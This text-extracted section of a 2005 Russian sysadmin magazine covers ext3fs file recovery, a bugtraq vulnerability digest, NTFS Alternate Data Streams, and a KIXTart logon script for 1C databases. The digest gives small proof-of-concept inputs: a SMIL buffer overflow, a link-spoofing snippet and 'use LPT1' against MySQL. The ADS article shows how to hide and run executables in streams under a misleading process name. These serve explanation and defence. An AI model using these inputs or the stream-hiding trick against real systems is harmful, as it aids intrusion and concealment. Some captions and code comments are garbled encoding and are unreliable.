Восстановление при помощи R-StudioУтилита R-Studio for NTFS, уже рассмотренная нами в пре-дыдущих номерах журнала, вопреки своему названию, под-держивает не только NTFS, но и ext2fs/ext3fs.

С точки зрения неквалифицированных пользователей этохорошее средство для автоматического восстановленияудаленных файлов: интуитивно-понятный интерфейс, про-стое управление и прочие прелести прогресса. Файлы вос-станавливаются несколькими щелчками. Правда, без имени без каких-либо гарантий, что они вообще восстановятся.

Ðèñóíîê 6. Óòèëèòà  R-Studio for  NTFS  âîññòàíàâëèâàåòóäàëåííûå ôàéëû íà ext2fs ðàçäåëå. Ôàéëû åñòü, íî íåò èìåí

Page 44: 028 Системный Администратор 03 2005

42

администрирование

Ручное восстановление не поддерживается. Файлы с раз-рушенным inode не восстанавливаются, хотя под ext2fs, вотличие от NTFS, это достаточно просто сделать!

В общем, для профессионального использования R-Studioкатегорически не подходит (рис. 6).

Восстановление удаленных файловна ext3fsФайловая система ext3fs – это ext2fs с поддержкой журна-лирования (в терминологии NTFS – транзакций). В отличиеот ext2fs она намного бережнее относится к массиву ди-ректорий и при удалении файла, ссылка на inode уже неуничтожается, что упрощает автоматическое восстановле-ние оригинальных имен. Однако поводов для радости у наснет никаких, поскольку в ext3fs перед удалением файласписок принадлежащих ему блоков тщательно вычищает-ся. Как следствие – восстановление становится невозмож-ным. Ну… практически невозможным. Нефрагментирован-ные файлы с более или менее осмысленным содержимым(например, исходные тексты программ) еще можно собратьпо частям, но и времени на это уйдет… К счастью, косвен-ные блоки не очищаются, а значит, мы теряем лишь первые12 * BLOCL_SIZE байт каждого файла. На типичном 10 Гбразделе BLOCK_SIZE обычно равен 4 или 8 Кб, т.е. реаль-ные потери составляют менее 100 Кб. По современным по-нятиям – сущие пустяки! Конечно, без этих 100 Кб боль-шинство файлов просто не запустятся, однако недостаю-щие 12 блоков найти на диске вполне реально. Если пове-зет, они окажутся расположенными в одном-двух непрерыв-ных отрезках. Даже на сильно фрагментированных разде-лах непрерывные отрезки из 6-12 блоков встречаются дос-таточно часто.

Как мы будем действовать? Необходимо найти хотя быодин блок, гарантированно принадлежащий файлу и приэтом расположенный за границей в 100 Кбайт от его нача-ла. Это может быть текстовая строка, копирайт фирмы, давсе что угодно! Нам нужен номер блока. Пусть для опреде-ленности он будет равен 0x1234. Записываем его в обрат-ном порядке так, чтобы младший байт располагался поменьшему адресу, и выполняем поиск 34h 12h 00h 00h –именно это число будет присутствовать в косвенном бло-ке. Отличить косвенный блок от всех остальных блоков (на-пример, блоков, принадлежащих файлам данных) оченьлегко – он представляет собой массив 32-битных номеровблоков более или менее монотонно возрастающих. Дваж-ды и трижды косвенные блоки отыскиваются по аналогич-ной схеме.

Проблема в том, что одни и те же блоки в разное времямогли принадлежать различным файлам, а значит, и раз-личным косвенным блокам. Как разобраться, какой из нихправильный? Да очень просто! Если хотя бы одна из ссы-лок косвенного блока указывает на уже занятый блок, дан-ный косвенный блок принадлежит давно удаленному фай-лу и нам совсем не интересен.

Кстати говоря, debugfs не вполне хорошо поддержива-ет ext3fs. В частности, команда lsdel всегда показывает нольудаленных файлов, даже если был стерт весь раздел. Такчто вопрос выбора файловой системы отнюдь не так прост,каким его пытаются представить книги из серии «Linux для

начинающих», а преимущества ext3fs на рабочих станцияхи домашних компьютерах далеко небесспорны и неочевид-ны. Поддержка транзакций реально требуется лишь серве-рам (да и то не всем), а вот невозможность восстановле-ния ошибочно удаленных файлов зачастую приносит на-много большие убытки, чем устойчивость файловой систе-мы к внезапным отказам питания.

ЗаключениеДоступность исходных текстов драйвера файловой систе-мы значительно упрощает исследование ее внутреннейструктуры, которая, кстати говоря, очень проста и восста-новление данных на ext2fs/ext3fs – обычное дело. Файло-вые системы UFS и FFS, работающие под FreeBSD, устро-ены намного сложнее, к тому же достаточно скудно доку-ментированы. А ведь FreeBSD занимает далеко не после-днее место в мире UNIX-совместимых операционных сис-тем и разрушения данных даже в масштабах небольшогогородка происходят сплошь и рядом. К счастью, в подавля-ющем большинстве случаев информацию можно полнос-тью восстановить, но об этом – в следующий раз.

Литература:1. Design and Implementation of the Second Extended File

system – подробное описание файловой системы ext2fsот разработчиков проекта на английском языке: http://e2fsprogs.sourceforge.net/ext2intro.html.

2. Linux Ext2fs Undeletion mini-HOWTO – краткая, но доход-чивая инструкция по восстановлению удаленных фай-лов на ext2fs-разделах на английском языке: http://www.praeclarus.demon.co.uk/tech/e2-undel/howto.txt.

3. Ext2fs Undeletion of Directory Structures mini-HOWTO –краткое руководство по восстановлению удаленных ди-ректорий на ext2fs-разделах на английском языке: http://www.faqs.org/docs/Linux-mini/Ext2fs-Undeletion-Dir-Struct.html.

4. HOWTO-undelete – еще одно руководство по восстанов-лению удаленных файлов на ext2fs-разделах при помо-щи редактора lde на английском языке: http://lde.sourceforge.net/UNERASE.txt.

Ðèñóíîê 7. Óòèëèòà  R-Studio,  âîññòàíàâëèâàþùàÿ  óäàëåííûåôàéëû íà ðàçäåëå ext3fs. Åñòü èìåíà, íåò ñàìèõ ôàéëîâ(èõ äëèíà ðàâíà íóëþ, ò.ê. ñïèñîê íåïîñðåäñòâåííûõ áëîêîâçàòåðò)

Page 45: 028 Системный Администратор 03 2005

bugtraq

43№3, март 2005

Выполнение произвольного кодав MozillaПрограмма: Mozilla 1.7.3; Mozilla Firefox 1.0 и более ранниеверсии.Опасность: Средняя.Описание: Уязвимость позволяет удаленному пользовате-лю вызвать повреждение куки и выполнить произвольныйкод на уязвимой системе.

Уязвимость существует в функциях обработки строк вфайле mozilla/xpcom/string/src/nsTSubstring.cpp. ФункцияnsTSubstring_CharT::Replace() не проверяет возвращаемоезначение, которое увеличивает строку. Для реализацииуязвимости требуется потребление всей доступной для це-левого процесса или пользователя памяти. Удаленныйпользователь может с помощью специально сформирован-ных заголовков, с помощью javascript сценария или каким-либо другим способом заставить браузер потребить боль-шое количество памяти и затем перезаписать память про-извольными данными. Удачная эксплуатация позволит зло-умышленнику выполнить произвольный код на системе иливызвать отказ в обслуживании.URL производителя: http://mozilla.org.Решение: Установите обновления с сайта производителя.

Переполнение буфера в RealPlayerПрограмма: RealPlayer версии до 6.0.12.1059; LinuxRealPlayer 10 and Helix Player.Опасность: Средняя.Описание: Уязвимость позволяет удаленному пользовате-лю выполнить произвольный код на целевой системе.

1. Переполнение буфера существует при обработке SMIL.Удаленный пользователь может создать специальным об-разом SMIL-файл, вызвать переполнение буфера и выпол-нить произвольный код на системе. Уязвимость существу-ет в файле datatype/smil/renderer/smil1/smlparse.cpp при об-работке атрибута размера экрана. Пример (переполнениебуфера происходит, если «LONGSTRING» более 256 байт):

2. Уязвимость существует при обработке WAV-файлов.Злоумышленник может специальным образом создать WAV-файл, вызвать переполнение буфера и выполнить произ-вольный код на системе.URL производителя: http://www.real.com.Решение: Установите обновления с сайта производителя.

<text  src="1024_768.en.txt"  region="size"system-screen-size="LONGSTRINGX768">

Повышение привилегийв grsecurity в PaXПрограмма: grsecurity версии до 2.1.2.Опасность: Низкая.Описание: Уязвимость обнаружена на системах с включен-ным зеркалированием vma посредством опций ядраSEGMEXEC или RANDEXEC. Локальный пользователь мо-жет выполнить произвольный код с привилегиями целево-го процесса с помощью любой программы, которая можетбыть выполнена на системе.URL производителя: http://pax.grsecurity.net.Решение: Установите последнюю версию от производите-ля.

Подмена строки состоянияв браузере MozillaПрограмма: Mozilla 1.7.5; Mozilla Thunderbird 1.0; MozillaFirefox 1.0.1.Опасность: Низкая.Описание: Уязвимость существует при отображении путик сохраняемой странице при нажатии на ссылке и выбоременю «Save Link Target As…». Удаленный пользовательможет специальным образом создать ссылку и заставитьпользователя сохранить злонамеренный файл.

Пример:

URL производителя: http://www.mozilla.com.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

<a  href="[TRUSTED_URL]"><  table><tr><td><  a  href="[MALICIOUS_URL]">download< /a><  /td></tr></table>< /a>

Выполнение произвольного кодав libXpmПрограмма: libXpm.Опасность: Высокая.Описание: Уязвимость существует в файле lib/scan.c из-занекорректной обработки входных данных, содержащихся вграфических файлах. Злоумышленник может создать спе-циальным образом графический файл, вызвать переполне-ние буфера и выполнить произвольный код на системе.URL производителя: http://www.x.org.Решение: Установите обновление от производителя.

Составил Александр Антипов

Отказ в обслуживании при обработкеMS-DOS имен в MySQLПрограмма: MySQL 4.0.x и 4.1.x for Windows.Опасность: Низкая.Описание: Уязвимость обнаружена при обработке зарезер-вированных имен MS-DOS-устройств. Удаленный пользо-ватель может создать одноименную базу данных с MS-DOS-устройством и при переходе в нее вызвать отказ в обслу-живании базы данных. Для успешной эксплуатации уязви-мости злоумышленнику требуются глобальные привилегиина REFERENCES, CREATE TEMPORARY TABLES, GRANTOPTION, CREATE и SELECT.

Пример:

URL производителя: http://www.mysql.com.Решение: Установите последнюю версию от производите-ля.

use LPT1;

Page 46: 028 Системный Администратор 03 2005

44

администрирование

Возможность использования альтернативных потоков дан-ных (Alternate Data Streams – ADS) заложена в файловойсистеме NTFS и поддерживается операционными система-ми Microsoft Windows 2000 и выше. Специфика ADS заклю-чается в том, что c файлами и каталогами могут ассоции-роваться дополнительные наборы данных, информация окоторых и само содержимое, вообще говоря, недоступны спомощью стандартных утилит и встроенных команд опера-ционной системы Microsoft Windows.

Изложение основных подходов работы с альтернатив-ными потоками построено на конкретных примерах. Такжев статье приводится сравнительный обзор специализиро-ванных утилит, позволяющих производить поиск файлов,содержащих ADS, а также выполнять операции с инфор-мацией, хранимой в потоках.

Примеры работы с альтернативнымипотоками данных

Создание ADS и работа с использованиемредактора NotePadСоздадим на диске C: пустой файл test.txt, после чего вы-полним команду:

На предложение создать новый файл, ответим положи-тельно (в записи test.txt:example.txt подразумевается, чтоexample.txt – это имя потока для файла test.txt). Затем на-берем произвольный текст и завершим работу с програм-мой, сохранив изменения. При исследовании параметровфайла C:\test.txt можно заметить, что размер файла test.txtпо-прежнему равен нулю (из видимых обычными средства-ми параметров были модифицированы лишь даты после-днего доступа и изменений).

Выполнив команду:

мы обнаружим в редакторе текст, который мы только чтонабирали и сохранили в ADS.

Подтвердить наличие альтернативного потока можнотакже, если в «Проводнике» попытаться скопировать файлtest.txt на носитель с файловой системой, отличной от NTFS(например, на дискету). При этом на экран будет выданопредупреждение о том, что копия файла на дискете не бу-дет содержать данных ADS.

Использование стандартных командоперационной системы Windows при работес альтернативными потоками данныхДля создания потока может быть применена стандартнаяоперация перенаправления потока вывода. Например, вы-полнив команду:

мы поместим в альтернативный поток содержимое файла,определяющего вариант загрузки операционной системыкомпьютера. Просмотреть данные, сохраненные в потоке,можно при помощи все того же редактора NotePad.

Следует обратить внимание на то, что стандартные ко-манды copy, type, del и прочие, предназначенные для вы-полнения операций с файлами, не позволяют использоватьв именах файлов-параметров конструкции, характерные

ИСПОЛЬЗОВАНИЕ АЛЬТЕРНАТИВНЫХПОТОКОВ ДАННЫХ

МАКСИМ КОСТЫШИН

Когда армия сталкивается с оврагами и ущельями, заболоченнойместностью с тростником и высокой травой, горными лесамиили густым и спутанным кустарником, необходимо тщательно

прочесать их, ибо там могут быть спрятаны засады и шпионы…Стратегия ведения войны такова: не полагайся на то, что враг

не придет, полагайся на средства, которыми располагаешь, чтобыпринять его. Не полагайся на то, что враг не нападет; полагайся

на то, чтобы наши позиции были неуязвимы для нападения…Поэтому сказано, что тот, кто знает врага и знает себя, не окажется

в опасности и в ста сражениях. Тот, кто не знает врага, но знаетсебя, будет то побеждать, то проигрывать. Тот, кто не знает

ни врага, ни себя, неизбежно будет разбит в каждом сражении…

«Искусство войны»Сунь-Цзы

NotePad C:\test.txt:example.txt

NotePad C:\test.txt:example.txt

type C:\boot.ini > C:\test.txt:boot.ini

Page 47: 028 Системный Администратор 03 2005

45№3, март 2005

администрирование

для определения имени альтернативного потока. В этойсвязи выполнение файловых операций для ADS стандарт-ными командами операционной системы затруднительно.Вместе с тем вывод на экран содержимого test.txt:boot.iniможно выполнить при помощи следующей команды:

Для удаления всех имеющихся для файла альтернатив-ных потоков можно воспользоваться следующим наборомопераций:

Использование стандартной команды copy для temp.txt вфайловой системе NTFS позволяет создать точную копиюфайла, которая будет содержать поток исходного файла.

Особо следует обратить внимание на то, что в файло-вой системе NTFS возможности создания ADS применимыкак к файлам, так и к любым каталогам:

или просто:

Обработка документов Microsoftи OfficeWordPad, размещенныхв альтернативных потоках данныхПоместим в ADS документ Microsoft Word (при подготовкестатьи автор использовал Microsoft Word 2002 SP-2 из со-става Microsoft Office XP). Для этого создадим документWord, сохраним его сначала в файл C:\example.doc, а за-тем с использованием операции перенаправления потокавывода в поток:

Отметим, что в случае отсутствия файла C:\test.txt при-менение указанной команды создаст файл test.txt нулево-го размера.

Откроем содержимое файла в стандартном редактореWordPad, выполнив следующую команду:

Редактор WordPad вполне сгодится для просмотра доку-ментов Microsoft Word, сохраненных в ADS. Следует отме-тить, что у пользователей могут возникнуть проблемы, свя-занные с тем, что WordPad обеспечивает сохранение инфор-мации только в формате Word для Windows 6.0 и файла RTF.При этом WordPad версии 5.0 (Windows 2000 Professional) непозволяет выполнить преобразование и сохранение докумен-та, помещенного в альтернативный поток данных, в поддер-живаемом формате. Для WordPad версии 5.1 (Windows XP)такие проблемы отсутствуют.

Просмотреть данные ADS в Microsoft Word нам удалосьлишь в режиме «только чтение», закрыв все приложенияуказанного редактора, переименовав файл test.txt в test(исключив из имени файла расширение), выполнив следу-ющую команду:

Сохранить изменения при работе WinWord с даннымипотока невозможно в связи с тем, что в программе реали-зован жесткий контроль имен файлов для сохранения ин-формации.

Что касается возможностей других распространенныхсоставляющих Microsoft Office, то проверка показала пол-нофункциональные возможности обработки базы данных,сохраненной в потоке, для Access.

Особенности для операций открытия и сохранения из-менений электронной таблицы, содержащейся в ADS, спомощью Microsoft Excel аналогичны тем, что были указа-ны выше для Microsoft Word.

Запуск программ, сохраненныхв альтернативном потоке данныхЗапустить обычным способом программы, сохраненные вADS, не удастся. Однако как вариант можно применить ко-манду start.

Поместим программу WordPad.exe в альтернативныйпоток файла example.txt с одноименным названием:

Выполним команду:

и убедимся в том, что программа запущена.Обратим внимание на то, что в диспетчере задач Windows

имя образа запущенного процесса будет указано неWordPad.exe, а example.txt.

type C:\boot.ini > C:\test.txt:boot.ini

ren temp.txt test.txttype temp.txt > test.txtdel temp.txt

md C:\exampletype C:\example.txt > c:\example:example.txt

type C:\example.txt > c:\:example.txt

type C:\example.doc > C:\test.txt:example.doc

«C:\Program Files\Windows NT\Accessories\WordPad.exe» ↵↵↵↵↵C:\test.txt:example.doc

"C:\Program Files\Microsoft Office\Office10\WinWord.exe" ↵↵↵↵↵C:\test:example.doc

type WordPad.exe > C:\example.txt:WordPad.exe

start C:\example.txt:WordPad.exe

Page 48: 028 Системный Администратор 03 2005

46

администрирование

Специальные средства для поискаи работы с альтернативнымипотоками данныхЕсли в первой части статьи для ADS были рассмотреныварианты работы с использованием стандартных возмож-ностей, предоставляемых пользователям операционнойсистемы, то ниже приведен обзор утилит, специально пред-назначенных для поиска потоков и выполнения с ними рядаопераций, разработанных сторонними производителями.

Создадим тестовый файл C:\example\example.txt и за-полним все значения стандартных свойств для него, кото-рые помещаются операционной системой в альтернатив-ные потоки.

Используем файл для наблюдения за результатами ра-боты специальных утилит.

LNS (http://ntsecurity.nu/toolbox/lns) – небольшая (менее35 Кб) бесплатная консольная утилита, предназначеннаядля поиска файлов с ADS и информации об имеющихсяальтернативных потоках. Программа не производит поискADS для каталогов.

LADS (http://www.heysoft.de) – свободно распространя-емая консольная утилита поиска файлов, содержащих ADS.

Программа обладает возможностью пропускать при по-иске альтернативные потоки, которые имеют заданные вкачестве параметров предопределенные имена, и предос-тавляет информацию о размере данных, содержащихся вADS.

Stream (www.sysinternals.com) – программа, авторомкоторой является известный среди программистов разра-ботчик прикладных утилит Марк Русинович, доступна с ис-ходными текстами. Параметры работы утилиты позволяютпроизводить поиск файлов с ADS по подкаталогам, а так-же удалять найденные альтернативные потоки.

К недостаткам следует отнести некорректное отобра-жение русских символов в названиях файлов и каталогов,а также то, что программа не проверяет наличие ADS длякорневого каталога.

CrucialADS (http://crucialsecurity.com) – свободно распро-страняемая утилита, обладающая графическим интерфей-сом. Реализует поиск на выбранных пользователем дис-ках файлов, содержащих ADS.

К недостаткам следует отнести отсутствие следующихвозможностей:! сохранения информации, содержащейся в альтернатив-

ных потоках;! определения размера данных для найденных потоков;! поиска файлов с ADS на съемных носителях, отформа-

тированных под NTFS.

Замечание: кроме того, также как lads, программа непроверяет наличие специфических данных для корневогокаталога.

Page 49: 028 Системный Администратор 03 2005

47№3, март 2005

администрирование

NTFS Streams Info (http://www.isgeo.kiev.ua/shareware/index.html) – программа, рекомендуемая автором статьи,предусматривает всю необходимую функциональность дляпоиска и исследования альтернативных потоков данных.Лицензия программы определена как условно бесплатная ипредоставляет возможность демонстрационного использо-вания в течение 30 дней, помещая в раздел реестра, описы-вающего настройки программного обеспечения, параметрсо значением даты начала использования программы.

Программа позволяет искать файлы, содержащие ADS,выполнять над альтернативными потоками различные опе-рации (удалять и создавать новые, помещать в ADS данныеиз заданного файла, извлекать данные потоков в файл).

Ниже приводится предопределенный и накапливаемыйв утилите список названий потоков.

Вместо эпилогаПодведем некоторые итоги по материалу, изложенномувыше. Альтернативные потоки данных предоставляют ши-

рокие возможности как в плане организации секретногохранения на жестком диске конфиденциальных данных вла-дельца компьютера, так и сохранения информации, не сан-кционированного хозяином.

В потоках могут содержаться текстовые документы, таб-лицы Excel и другие типы информации, которые можно об-рабатывать как обычные файлы, без предварительного из-влечения.

В ADS могут храниться и запускаться на выполнение ис-полняемые модули. При этом информация в отношении име-ни запущенного модуля, отображаемого стандартными сред-ствами операционной системы, может вводить в заблужде-ние относительно выполняемой процессором программы.

При копировании файлов и каталогов, содержащих по-токи, на стандартные съемные носители, которые обычноимеют файловую систему, отличную от NTFS, данные по-токов не будут продублированы.

Известны факты использования возможностей ADS какразработчиками вирусов и троянских утилит (в качествепримера можно указать Trojan.Comxt.B), так и авторамиизвестных антивирусных программ.

При использовании специальных программных средствдля организации защиты компьютеров необходимо учиты-вать то обстоятельство, что разработчиками программ мог-ли либо вообще не учитываться возможности поддержки ADSв файловой системе NTFS, либо быть допущены ошибки.

Например, для ряда перечисленных выше специализи-рованных утилит работы с альтернативными потоками дан-ных не проверялось наличие ADS для каталогов и, в част-ности, для корневого каталога.

Кроме того, при тестировании некоторых программ длягарантированной очистки было обнаружено, что при выпол-нении операции удаления файла, содержащего альтерна-тивные потоки, не затирается информация, содержащаясяв ADS. Вместе с тем, особых проблем в этом нет, так какпользователи, применяющие средства гарантированногоудаления, как правило, используют возможности очисткине занятого файлами и каталогами пространства диска,которые уничтожают оставшиеся следы ADS не до концаудаленных специфических файлов и каталогов.

Материалы:1. «Альтернативные потоки данных NTFS», Дон Паркер,

перевод Владимир Куксенок, http://www.securitylab.ru/53136.html.

2. «Прикладная информационная безопасность шаг за ша-гом», Сергей Гринкевич, ht tp://www.securitylab.ru/52764.html.

3. «Подготовка и использование аварийного набора», МаттЛеско, Журнал «Windows IT Pro», #08, 2004 год // Изда-тельство «Открытые системы», ht tp://www.osp.ru/win2000/2004/08/042.htm.

4. «Hidden Threat: Alternate Data Streams», Ray Zadjmool,http://lib.training.ru/Lib/ArticleDetail.aspx?ar=5312&l=n&mi=1326&mic=1337.

5. «FAQ: Alternate Data Streams in NTFS», http://www.heysoft.de Frames/f_faq_ads_en.htm.

6. «How To Use NTFS Alternate Data Streams», http://support.microsoft.com/default.aspx?scid=kb;en-us;Q105763&sd=tech.

Page 50: 028 Системный Администратор 03 2005

48

администрирование

В крупных организациях, где штат бухгалтерии насчитыва-ет не один десяток человек и одновременно эксплуатиру-ется несколько баз 1С версии 7.7, актуальна проблема ав-томатизированного управления подключением бухгалтер-ских баз. В статье речь пойдет о том, как с помощью сцена-рия регистрации пользователей в сети подключить бухгал-теру только те базы, с которыми он работает.

Основная идеяПодключение баз основано на членстве учетных записейпользователей в соответствующих группах безопасности,находящихся в Active Directory, которые удовлетворяют не-скольким условиям:! Название группы состоит из 2 частей – префикса, кото-

рый у всех групп одинаковый, и собственно названия груп-пы. Оно совпадает с названием каталога, в котором фи-зически находится подключаемая база 1С.

! Значением поля «Description» является название базы1С, отображаемое в меню, которое появляется послезапуска оболочки 1С (см. рис. 1).

Во время входа в сеть от имени пользователя запуска-ется сценарий регистрации пользователей в сети, которыйво время своей работы составляет два списка баз. Один изних – список подключаемых баз. Он формируется на основеданных из Active Directory. Второй список формируется на

основе данных из реестра – список подключенных баз. За-тем, изменяя ветвь реестра HKCU (HKEY_CURRENT_USER),осуществляется сопоставление созданных списков: подклю-чаются недостающие базы и отключаются лишние.

Сценарий регистрациипользователей в сетиДля создания сценария рекомендуется использовать KIXTart(http://kixtart.org), поскольку он является наиболее подходя-щим для решения поставленной задачи.

Сценарий регистрации условно можно разделить на не-сколько логических частей:! подключение сетевого диска;! формирование списка баз, которые должны быть под-

ключены;! формирование списка баз, которые подключены в на-

стоящее время;! сопоставление сформированных списков, запись дан-

ных в реестр рабочей станции.

Подключение сетевых дисковДоступ к базам, расположенным на сервере, рекомендует-ся осуществлять с помощью подключения сетевого диска.Для этого необходимо знать два параметра: букву, к кото-рой будет монтироваться ресурс, и UNC-путь к нему.

Все задаваемые вручную параметры принято выносить

АВТОМАТИЗАЦИЯ ПРОЦЕССАПОДКЛЮЧЕНИЯ БАЗ 1С

С ПОМОЩЬЮ СЦЕНАРИЯРЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ

В СЕТИ

ИВАН КОРОБКО

Page 51: 028 Системный Администратор 03 2005

49№3, март 2005

администрирование

в конфигурационный файл. KIXTart обладает встроеннойподдержкой INI-файлов, которые удобно использовать в ка-честве конфигурационных файлов. INI-файл представляетсобой текстовый файл, имеющий следующую структуру:

Создадим конфигурационный файл config.ini со следу-ющим содержимым:

Чтение конфигурационного файла осуществляется с по-мощью функции ReadProfileString():

где value – возвращаемое значение параметра key разде-ла section файла file_name. Подключение сетевого дискавыглядит следующим образом:

Формирование списка подключаемых базСписок подключаемых баз формируется на основе член-ства учетных записей пользователей в соответствующихгруппах безопасности. Как отмечалось ранее, в названияхэтих групп присутствует префикс, который также необхо-димо указать в конфигурационном файле:

Ðèñóíîê 1

[ðàçäåëM]ïàðàìåòð1M=çíà÷åíèå1Mïàðàìåòð2M =çíà÷åíèå2M���������.ïàðàìåòðNM=çíà÷åíèåNM

[1C]1C_Letter=R1C_Path=\\Server\1C_Bases$

value=ReadProfileString ("file_name", "section", "key")

$FName=�config.ini�$Section=�1C�$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵↵↵↵↵

�1C_Letter�) ;÷òåíèå ïàðàìåòðà 1C_Letter$1C_Path_Val = ReadProfileString($FName, $Section, ↵↵↵↵↵

�1C_Path�) ; ÷òåíèå ïàðàìåòðà 1C_Path; îòêëþ÷åíèå ñåòåâîãî äèñêàUse $1C_Letter_Val + ":" /delete /persistent; ïîäêëþ÷åíèå ñåòåâîãî äèñêàUse $1C_Letter_Val + ":" $1c_Path_Val

Page 52: 028 Системный Администратор 03 2005

50

администрирование

В результате формируется массив. Его элементами яв-ляются название базы и полный путь к каталогу, которыеразделены специальным символом. Его также рекоменду-ется описать в конфигурационном файле:

Такая структура элемента массива продиктована выпол-нением нескольких условий:! Управление осуществляется только сетевыми базами.

Список подключенных локальных баз не корректирует-ся.

! Некорректные названия сетевых баз будут исправлены.

Поскольку сценарий загрузки запускается от имени поль-зователя, который осуществляет вход в сеть, то нет необ-ходимости осуществлять поиск необходимых групп средивсех групп домена с помощью ADODB. Рационально вос-пользоваться встроенной функцией в KIXTart EnumGroup(),которая возвращает список групп, в которые входит теку-щий пользователь, и из этого списка отобрать группы, име-ющие оговоренный префикс:

Значение переменной $group строится в соответствиисо следующим шаблоном: Domain\Group_Name, поэтому дляформирования пути к каталогу необходимо вычленить со-ставляющую Group_Name. Листинг, формирующий полныйпуть к каталогу, содержащего базу 1C, следующий:

Второй частью элемента формирующегося массива яв-ляется описание группы. Чтение этого свойства можно ре-ализовать как с помощью провайдера WinNT, так и LDAP.Приведем оба варианта. Для доступа к объекту AD необхо-димо либо указать имя домена в явном виде, либо создатьсценарий для определения текущего домена. По понятнымпричинам, указывать имя домена в явном виде некоррект-но, поэтому создадим сценарий для определения длинного(используется провайдером LDAP) и короткого (использу-ется провайдером WinNT) имен доменов:

Для провайдера WinNT описание группы определяетсяследующим образом:

Для провайдера LDAP описание группы определяетсятак:

Оба варианта имеют право на жизнь, и скорость их ра-боты примерно одинакова, однако рекомендуется исполь-зовать второй вариант, несмотря на то что он выглядит гро-моздким. Дело в том, что провайдер WinNT был разрабо-тан для Windows NT, а LDAP – для Windows 2000. В бли-жайшем будущем, компания Microsoft, наверное, откажет-ся от поддержки провайдера WinNT.

Таким образом, сценарий, формирующий массив, эле-менты которого включают в себя путь и название базы, выг-лядит следующим образом:

Формирование списка подключенных базСписок баз определяется чтением параметров и значенийиз соответствующей ветви реестра в массив, структура эле-ментов которого аналогична элементам массива $1C_

Set rootDSE_ = GetObject("LDAP://RootDSE")d_def=rootDSE_.Get("defaultNamingContext")long_Ldap_name = "LDAP://" + d_defshort_WinNT_name= mid(d_def, ↵↵↵↵↵

instr(d_def,"=")+1,instr(d_def,",")-instr(d_def,"=")-1)Wscript.Echo long_Ldap_name ; èìååò âèä «DC=domain, DC=ru»Wscript.Echo short_ WinNT_name ; èìååò âèä «Domain»

[1C]1C_Prefix=�1C$_�

[1C]1C_Symbol=�#�

�$meta = ReadProfileString($FName, $Section, �1C_Symbol�)$p=0DO$group=EnumGoup($p)

If Instr($group, $meta)<>0 ? $group End ifUNTIL Len($group)=0

$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵↵↵↵↵�1C_Letter�)

$1C_Group=Right($group, ↵↵↵↵↵Len(group)-InstrRev($group,�\�)-Len($meta))

; âèä ïåðåìåííîé R:\Folder_with_Base$1C_Base=$1C_Letter_VaL+�:\�+$1C_Group

$1C_Group_Descr=GetObject ↵↵↵↵↵(�WinNT://�+short_WinNT_name+�/�+$1C_Group).Description

$strADSQuery = "SELECT description FROM ↵↵↵↵↵'LDAP://" + $long_Ldap_name + "' ↵↵↵↵↵WHERE Name = "' + $1C_Group + "' and objectClass='group'"

$objADOConn = createObject("ADODB.Connection")$objADOConn.Provider = "ADsDSOObject"$objADoConn.Open ("Active Directory Provider")$objADOCommand = CreateObject("ADODB.Command")$objADOCommand.ActiveConnection = $objADOConn$objADOCommand.CommandText = $strADSQuery$objQueryResultSet = $objADOCommand.Execute$1C_Group_Descr =$objQueryResultSet.Fields("description")

$meta = ReadProfileString($FName, $Section, �1C_Symbol�)$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵↵↵↵↵

�1C_Letter�)Set rootDSE_ = GetObject("LDAP://RootDSE")d_def=rootDSE_.Get("defaultNamingContext")long_Ldap_name = "LDAP://" + d_def$p=0$q=0Dim $1C_Must[]DO$group=EnumGoup($p)

If Instr($group, $meta)<>0$1C_Group=Right($group, ↵↵↵↵↵

Len(group)-InstrRev($group,�\�)-Len($meta));âèä ïåðåìåííîé R:\Folder_with_Base$1C_Base=$1C_Letter_VaL+�:\�+$1C_Group$strADSQuery = "SELECT description FROM ↵↵↵↵↵

'LDAP://" + $long_Ldap_name + "' ↵↵↵↵↵WHERE Name = "' + $1C_Group + "' and objectClass='group'"

$objADOConn = createObject("ADODB.Connection")$objADOConn.Provider = "ADsDSOObject"$objADoConn.Open ("Active Directory Provider")$objADOCommand = CreateObject("ADODB.Command")$objADOCommand.ActiveConnection = $objADOConn$objADOCommand.CommandText = $strADSQuery$objQueryResultSet = $objADOCommand.Execute$1C_Group_Descr =$objQueryResultSet.Fields("description"); ïåðåîïðåäåëåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâàRedim Preserve $1C_Must[$q]$1C_Must[$q]= UCase($1C_Base)+$meta+$1C_Group_Descr $q=$q+1 End if $p=$p+1UNTIL Len($group)=0

Page 53: 028 Системный Администратор 03 2005

51№3, март 2005

администрирование

Must[$q]. Ветвь реестра, из которой будет читаться инфор-мация, рекомендуется описать в конфигурационном фай-ле (см. рис. 1):

Чтение списка параметров из раздела Titles, названиякоторых являются путями к каталогам, в которых находятсябазы 1С, осуществляется с помощью функции EnumValue()(см. рис. 1), а значений параметров, являющихся названи-ями баз, считываемые из поля Description групп безопасно-сти, – с помощью функции ReadValue():

Таким образом, имеется два массива – уже подключен-ных баз и баз, которые должны быть подключены. Структу-ра элементов обоих массивов одинакова. Элемент масси-ва включает в себя локальный путь к базе и ее название.Эти параметры разделены уникальным символом.

Сопоставление сформированных списков базСопоставление списков осуществляется в два этапа: на пер-вом из них происходит удаление лишних баз. Напомним,что управление реализовано только для сетевых баз. Ло-кальные базы сценарий загрузки «не трогает». Сопостав-ление списков осуществляется с помощью функции AScan(),которая ищет совпадающие элементы в массивах. Удале-ние лишних баз осуществляется стиранием лишнего пара-метра в реестре с помощью функции DelValue(). На второмэтапе добавляются отсутствующие базы с помощью той жесамой функции AScan(). Используя её, в качестве парамет-ров указывается и в первом и во втором случае одни и теже массивы. Только в первом случае анализируемым мас-сивом является $1c_Must[], а во втором – 1c_Connected[]:

